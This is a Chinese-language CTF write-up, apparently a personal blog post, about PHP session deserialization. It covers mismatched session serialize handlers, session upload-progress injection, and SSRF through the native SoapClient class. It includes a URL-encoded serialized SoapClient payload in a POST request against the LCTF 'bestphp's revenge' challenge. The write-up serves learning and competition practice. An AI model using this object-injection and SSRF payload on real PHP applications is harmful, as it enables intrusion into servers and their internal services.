php session
前言
前段时间做了下和php session反序列化和原生类利用的题目,现在来总结下
背景知识
主要涉及到了php session的存储机制和反序列化中原生类的应用:
php session存储机制
php的session默认是存储在文件总中的,存储结构是由session.serialize_handler决定。
session.serialize_handler总共有三种值取值:- 第一种是php,存储后内容的结构式keyname|反序列化对象的内容。
- 第二种是php_serialize,储存内容为序列化后的数组。
- 第三种是php_binary,存储内容为二进制字符串keyname:length(keyname)|value。
当session.serialize_handler为php时,检测到|时,会将|前的内容解析为session的键值,后面的内容会被反序列化为session的内容。如果有这么一种情况,当某一页面serialize_handler为php,而当前默认的session_handler为php_serialize,那么形如p|a:2:{s:1:”a”;i:1;s:1:”b”;i:2;}字符串在session_handler为php的页面session唤起的过程中会被反序列化为一个数组,通过这种手段,我们可以在当前页面的session中注入任意对象。
session upload progress导致的安全问题
这里先简单地讲一下上传进度相关的几个配置,这里引用php文档的内容。当
session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。session.upload_progress.cleanup
选项设置为On时,会在上传完成后自动upload_progress清除的内容。在默认情况下
session.upload_progress.enabled
和session.upload_progress.cleanup
选项是启动的,所以在这种情况下要达到利用目的需要进行条件竞争。通过soapclient 达成ssrf
可以看这一篇文章:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
主要是利用了soapclient触发__call方法,可以构造出本地请求。
综上,如果存在session handler不一致的情况,并知道session中的对象会调用摸个方法的情况下,我们就有可能利用以上3项内容构造一个ssrf。
ctf题目
第一个例子为LCTF的bestphp’s revenge
目标是访问 http://127.0.0.1/flag.php
1 |
|
很明显是利用soapclient的__call方法打ssrf,但是我们知道session_handler默认处理方式是php_serialize,所以我们需要用某种方式更改当前页面的session解析配置。一开始我想到的是ini_set,但是这个函数需要传入两个参数,所以不行。最后找到了session_start。
session_start ([ array $options = array() ] )
这个题主要的流程如下:
- 通过session_start的设置,在session中注入一个soap_client对象。
- 使用变量覆盖将$b覆盖成call_user_func达到soap_client调用不存在的方法的目的,从而发起ssrf。
payload
1 | POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1 |
第二个例子是swpuctf的web6这种没有操作session的情况。
1 | //省略部分代码 目标是调用getflag方法 |
这里和上一题不一样,由于没有操作session所以需要用到PHP_SESSION_UPLOAD_PROGRESS来注入session对象。需要注意的是,这里的payload需要放在PHP_SESSION_UPLOAD_PROGRESS这一栏,试过name这一栏发现没用。
1 | POST /index.php HTTP/1.1 |
总结
目前先大概做这么一篇总结,估计日后还要修改。